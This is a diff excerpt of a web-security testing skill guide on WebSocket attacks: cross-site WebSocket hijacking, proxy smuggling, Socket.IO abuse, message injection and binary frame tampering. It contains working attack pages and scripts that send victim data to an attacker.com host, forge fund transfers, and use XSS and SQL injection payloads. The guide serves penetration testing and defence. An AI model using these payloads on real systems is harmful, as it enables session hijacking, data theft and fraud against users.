|
127
|
+
Prefer **Sec-WebSocket-Protocol**, **first-message auth**, or **cookie + CSRF token** patterns aligned with product constraints.
|
|
128
|
+
|
|
129
|
+
---
|
|
130
|
+
|
|
131
|
+
## 5. DECISION TREE
|
|
132
|
+
|
|
133
|
+
1. **Identify endpoint** — From JS bundles, Swagger, or `101` responses; note `wss` vs `ws`.
|
|
134
|
+
2. **Handshake review** — Are **`Origin`**, **Host**, and **Cookie** policies correct? Any token in query string?
|
|
135
|
+
3. **Session binding** — Reconnect with **another user’s** cookie jar in Burp; compare subscription topics and data leakage.
|
|
136
|
+
4. **CSWSH** — Load a **local HTML** page that connects to the target with victim session active; verify server rejects wrong **Origin** or uses non-cookie secret.
|
|
137
|
+
5. **Message semantics** — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
|
|
138
|
+
6. **Transport** — Flag **`ws://`** in production; verify TLS and HSTS alignment.
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## 6. RELATED ROUTING
|
|
143
|
+
|
|
144
|
+
- From **[api-sec](../api-sec/SKILL.md)** — authentication, authorization, IDOR, and rate limiting often **mirror** HTTP APIs behind the same WebSocket routes.
|
|
145
|
+
|
|
146
|
+
**Note**: WebSocket often shares session and permission models with REST; use `api-sec` to align authentication and resource boundaries on the same backend.
|
|
147
|
+
|
|
148
|
+
---
|
|
149
|
+
|
|
150
|
+
## 7. CSWSH — STEP-BY-STEP EXPLOITATION
|
|
151
|
+
|
|
152
|
+
### Step 1: Confirm no Origin check on WS handshake
|
|
153
|
+
|
|
154
|
+
```text
|
|
155
|
+
# In Burp: intercept the WebSocket upgrade request
|
|
156
|
+
# Change Origin header to: https://attacker.com
|
|
157
|
+
# If 101 Switching Protocols returned → no Origin validation
|
|
158
|
+
# If 403/rejected → Origin is checked (test subdomain variants)
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
### Step 2: Craft attacker page
|
|
162
|
+
|
|
163
|
+
```html
|
|
164
|
+
<html>
|
|
165
|
+
<body>
|
|
166
|
+
<script>
|
|
167
|
+
const ws = new WebSocket('wss://target.com/ws');
|
|
168
|
+
|
|
169
|
+
ws.onopen = function() {
|
|
170
|
+
// Connection established as victim (cookies sent automatically)
|
|
171
|
+
console.log('Connected as victim');
|
|
172
|
+
// Send commands as victim
|
|
173
|
+
ws.send(JSON.stringify({action: 'get_profile'}));
|
|
174
|
+
ws.send(JSON.stringify({action: 'list_messages'}));
|
|
175
|
+
};
|
|
176
|
+
|
|
177
|
+
ws.onmessage = function(event) {
|
|
178
|
+
// Exfiltrate all received messages
|
|
179
|
+
fetch('https://attacker.com/collect', {
|
|
180
|
+
method: 'POST',
|
|
181
|
+
body: event.data
|
|
182
|
+
});
|
|
183
|
+
};
|
|
184
|
+
|
|
185
|
+
ws.onerror = function(err) {
|
|
186
|
+
fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
|
|
187
|
+
};
|
|
188
|
+
</script>
|
|
189
|
+
</body>
|
|
190
|
+
</html>
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
### Step 3: Cookies and session hijacking
|
|
194
|
+
|
|
195
|
+
```text
|
|
196
|
+
Browser behavior for WebSocket:
|
|
197
|
+
- Cookies for the target domain ARE sent automatically in the upgrade request
|
|
198
|
+
- SameSite=None cookies always sent
|
|
199
|
+
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
|
|
200
|
+
- SameSite=Strict cookies: NOT sent
|
|
201
|
+
|
|
202
|
+
Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
|
|
203
|
+
→ Legacy cookies default to Lax in modern Chrome but None in older browsers
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
### Step 4: Read/write messages as victim
|
|
207
|
+
|
|
208
|
+
```javascript
|
|
209
|
+
// Attacker can both READ and WRITE on the WebSocket
|
|
210
|
+
// Read: financial data, private messages, admin commands
|
|
211
|
+
// Write: transfer funds, change settings, send messages as victim
|
|
212
|
+
|
|
213
|
+
ws.onopen = () => {
|
|
214
|
+
// Write: perform actions as victim
|
|
215
|
+
ws.send(JSON.stringify({
|
|
216
|
+
action: 'transfer',
|
|
217
|
+
to: 'attacker_account',
|
|
218
|
+
amount: 10000
|
|
219
|
+
}));
|
|
220
|
+
};
|
|
221
|
+
|
|
222
|
+
ws.onmessage = (e) => {
|
|
223
|
+
const data = JSON.parse(e.data);
|
|
224
|
+
if (data.type === 'balance') {
|
|
225
|
+
// Read: exfiltrate sensitive data
|
|
226
|
+
navigator.sendBeacon('https://attacker.com/data',
|
|
227
|
+
JSON.stringify(data));
|
|
228
|
+
}
|
|
229
|
+
};
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
---
|
|
233
|
+
|
|
234
|
+
## 8. WEBSOCKET SMUGGLING
|
|
235
|
+
|
|
236
|
+
### Concept
|
|
237
|
+
|
|
238
|
+
Use the WebSocket upgrade to bypass reverse proxy restrictions, then tunnel arbitrary HTTP traffic through the WebSocket connection.
|
|
239
|
+
|
|
240
|
+
### Upgrade-based proxy bypass
|
|
241
|
+
|
|
242
|
+
```text
|
|
243
|
+
1. Reverse proxy restricts access to /admin (returns 403)
|
|
244
|
+
2. Client sends legitimate WebSocket upgrade to /ws
|
|
245
|
+
3. Proxy allows the upgrade (101 response)
|
|
246
|
+
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
|
|
247
|
+
5. Client sends raw HTTP request through the "WebSocket" connection:
|
|
248
|
+
GET /admin HTTP/1.1
|
|
249
|
+
Host: backend-server
|
|
250
|
+
6. Backend processes the HTTP request → 200 OK with admin content
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
### H2-over-WebSocket smuggling
|
|
254
|
+
|
|
255
|
+
```text
|
|
256
|
+
1. Connect to target via WebSocket
|
|
257
|
+
2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
|
|
258
|
+
3. Backend HTTP/2 handler processes the smuggled requests
|
|
259
|
+
4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
### Implementation with Python
|
|
263
|
+
|
|
264
|
+
```python
|
|
265
|
+
import websocket
|
|
266
|
+
import ssl
|
|
267
|
+
|
|
268
|
+
ws = websocket.create_connection(
|
|
269
|
+
'wss://target.com/ws',
|
|
270
|
+
header=['Origin: https://target.com'],
|
|
271
|
+
sslopt={"cert_reqs": ssl.CERT_NONE}
|
|
272
|
+
)
|
|
273
|
+
|
|
274
|
+
# After upgrade, send raw HTTP through the tunnel
|
|
275
|
+
smuggled_request = (
|
|
276
|
+
b"GET /admin/users HTTP/1.1\r\n"
|
|
277
|
+
b"Host: internal-backend\r\n"
|
|
278
|
+
b"Connection: close\r\n\r\n"
|
|
279
|
+
)
|
|
280
|
+
ws.send(smuggled_request, opcode=0x2) # binary frame
|
|
281
|
+
response = ws.recv()
|
|
282
|
+
print(response)
|
|
283
|
+
```
|
|
284
|
+
|
|
285
|
+
### Proxy-specific behaviors
|
|
286
|
+
|
|
287
|
+
| Proxy | WebSocket Tunnel Behavior |
|
|
288
|
+
|-------|--------------------------|
|
|
289
|
+
| Nginx | Passes raw TCP after 101 — smuggling possible if backend doesn't validate WS frames |
|
|
290
|
+
| HAProxy | Depends on `option http-server-close` vs `tunnel` mode |
|
|
291
|
+
| AWS ALB | Terminates WebSocket — reframes traffic, harder to smuggle |
|
|
292
|
+
| Cloudflare | Inspects WebSocket frames — raw HTTP smuggling blocked |
|
|
293
|
+
| Varnish | Does not support WebSocket natively — upgrade may bypass cache entirely |
|
|
294
|
+
|
|
295
|
+
---
|
|
296
|
+
|
|
297
|
+
## 9. SOCKET.IO SPECIFIC VULNERABILITIES
|
|
298
|
+
|
|
299
|
+
### Namespace injection
|
|
300
|
+
|
|
301
|
+
Socket.IO supports namespaces (`/admin`, `/chat`). If authorization is only on the default namespace:
|
|
302
|
+
|
|
303
|
+
```javascript
|
|
304
|
+
// Client connects to privileged namespace without auth check
|
|
305
|
+
const adminSocket = io('https://target.com/admin');
|
|
306
|
+
adminSocket.on('connect', () => {
|
|
307
|
+
adminSocket.emit('list_users');
|
|
308
|
+
});
|
|
309
|
+
|
|
310
|
+
// Server may not verify that the client is authorized for /admin namespace
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
### Event name injection
|
|
314
|
+
|
|
315
|
+
If event names are derived from user input:
|
|
316
|
+
|
|
317
|
+
```javascript
|
|
318
|
+
// Server-side vulnerable pattern:
|
|
319
|
+
socket.on(userInput, handler);
|
|
320
|
+
|
|
321
|
+
// Attacker sends event name that matches internal event:
|
|
322
|
+
socket.emit('__disconnect'); // force disconnect other clients
|
|
323
|
+
socket.emit('connection'); // re-trigger connection handler
|
|
324
|
+
socket.emit('error'); // trigger error handler
|
|
325
|
+
```
|
|
326
|
+
|
|
327
|
+
### Acknowledgement callback abuse
|
|
328
|
+
|
|
329
|
+
Socket.IO acknowledgements can return data. If the server sends sensitive data in ack callbacks:
|
|
330
|
+
|
|
331
|
+
```javascript
|
|
332
|
+
socket.emit('get_data', {id: 'admin'}, (response) => {
|
|
333
|
+
// response may contain data the client shouldn't have access to
|
|
334
|
+
fetch('https://attacker.com/exfil', {
|
|
335
|
+
method: 'POST',
|
|
336
|
+
body: JSON.stringify(response)
|
|
337
|
+
});
|
|
338
|
+
});
|
|
339
|
+
```
|
|
340
|
+
|
|
341
|
+
### Polling fallback CSRF
|
|
342
|
+
|
|
343
|
+
Socket.IO falls back to HTTP long-polling when WebSocket is unavailable. The polling transport uses regular HTTP requests with cookies → susceptible to CSRF if no additional token verification:
|
|
344
|
+
|
|
345
|
+
```text
|
|
346
|
+
POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
|
|
347
|
+
Content-Type: application/octet-stream
|
|
348
|
+
|
|
349
|
+
4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}
|
|
350
|
+
```
|
|
351
|
+
|
|
352
|
+
---
|
|
353
|
+
|
|
354
|
+
## 10. WEBSOCKET MESSAGE INJECTION
|
|
355
|
+
|
|
356
|
+
### In intercepted connections (MITM on `ws://`)
|
|
357
|
+
|
|
358
|
+
If the application uses `ws://` (unencrypted), an attacker on the same network can inject messages:
|
|
359
|
+
|
|
360
|
+
```text
|
|
361
|
+
1. ARP spoofing or network position to intercept traffic
|
|
362
|
+
2. Identify WebSocket frames in TCP stream
|
|
363
|
+
3. Inject crafted frames between legitimate messages
|
|
364
|
+
4. Both client→server and server→client injection possible
|
|
365
|
+
```
|
|
366
|
+
|
|
367
|
+
### Application-level injection
|
|
368
|
+
|
|
369
|
+
When WebSocket messages are concatenated or interpolated without sanitization:
|
|
370
|
+
|
|
371
|
+
```javascript
|
|
372
|
+
// Vulnerable server-side handler:
|
|
373
|
+
socket.on('chat', (msg) => {
|
|
374
|
+
// If msg contains JSON metacharacters:
|
|
375
|
+
broadcast(`{"user":"${username}","msg":"${msg}"}`);
|
|
376
|
+
// Injection: msg = '","admin":true,"msg":"hacked'
|
|
377
|
+
// Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
|
|
378
|
+
});
|
|
379
|
+
```
|
|
380
|
+
|
|
381
|
+
### Stored XSS via WebSocket
|
|
382
|
+
|
|
383
|
+
```text
|
|
384
|
+
1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>
|
|
385
|
+
2. Server stores message and broadcasts to all connected clients
|
|
386
|
+
3. If client renders message as HTML → stored XSS
|
|
387
|
+
4. All connected users affected simultaneously
|
|
388
|
+
```
|
|
389
|
+
|
|
390
|
+
---
|
|
391
|
+
|
|
392
|
+
## 11. BINARY WEBSOCKET MESSAGE MANIPULATION
|
|
393
|
+
|
|
394
|
+
### Protobuf deserialization
|
|
395
|
+
|
|
396
|
+
Applications using Protocol Buffers over WebSocket may be vulnerable to:
|
|
397
|
+
|
|
398
|
+
```text
|
|
399
|
+
1. Capture binary WebSocket frame
|
|
400
|
+
2. Decode protobuf structure (use protoc --decode_raw or protobuf-inspector)
|
|
401
|
+
3. Modify field values (e.g., change user_id, amount, role)
|
|
402
|
+
4. Re-encode and send modified frame
|
|
403
|
+
5. Server deserializes without re-validating field constraints
|
|
404
|
+
```
|
|
405
|
+
|
|
406
|
+
```bash
|
|
407
|
+
# Decode captured binary frame
|
|
408
|
+
echo "CAPTURED_HEX" | xxd -r -p | protoc --decode_raw
|
|
409
|
+
|
|
410
|
+
# Output: field structure with types and values
|
|
411
|
+
# Modify, re-encode, send back through WebSocket
|
|
412
|
+
```
|
|
413
|
+
|
|
414
|
+
### MessagePack deserialization
|
|
415
|
+
|
|
416
|
+
```python
|
|
417
|
+
import msgpack
|
|
418
|
+
import websocket
|
|
419
|
+
|
|
420
|
+
ws = websocket.create_connection('wss://target.com/ws')
|
|
421
|
+
|
|
422
|
+
# Decode received binary message
|
|
423
|
+
raw = ws.recv()
|
|
424
|
+
data = msgpack.unpackb(raw, raw=False)
|
|
425
|
+
# data = {'action': 'get_balance', 'user_id': 123}
|
|
426
|
+
|
|
427
|
+
# Modify and re-send
|
|
428
|
+
data['user_id'] = 1 # IDOR: access admin's balance
|
|
429
|
+
ws.send(msgpack.packb(data), opcode=0x2)
|
|
430
|
+
```
|
|
431
|
+
|
|
432
|
+
### Type confusion attacks
|
|
433
|
+
|
|
434
|
+
Binary serialization formats may allow type confusion:
|
|
435
|
+
|
|
436
|
+
```text
|
|
437
|
+
# Original: user_id as integer (field type 0)
|
|
438
|
+
# Modified: user_id as string "1 OR 1=1" (field type 2)
|
|
439
|
+
# If server doesn't validate types after deserialization → SQL injection
|
|
440
|
+
|
|
441
|
+
# Original: is_admin as boolean false (0x00)
|
|
442
|
+
# Modified: is_admin as boolean true (0x01)
|
|
443
|
+
# Direct privilege escalation if server trusts deserialized values
|
|
444
|
+
```
|
|
445
|
+
|
|
446
|
+
### Tools for binary WebSocket analysis
|
|
447
|
+
|
|
448
|
+
| Tool | Purpose |
|
|
449
|
+
|------|---------|
|
|
450
|
+
| Burp Suite + SocketSleuth | Intercept and modify binary frames |
|
|
451
|
+
| `protobuf-inspector` | Decode unknown protobuf structures |
|
|
452
|
+
| `msgpack-tools` | Encode/decode MessagePack CLI |
|
|
453
|
+
| `wsdump` (websocket-client) | Raw frame capture and replay |
|
|
454
|
+
| Wireshark | Dissect WebSocket frames at protocol level |
|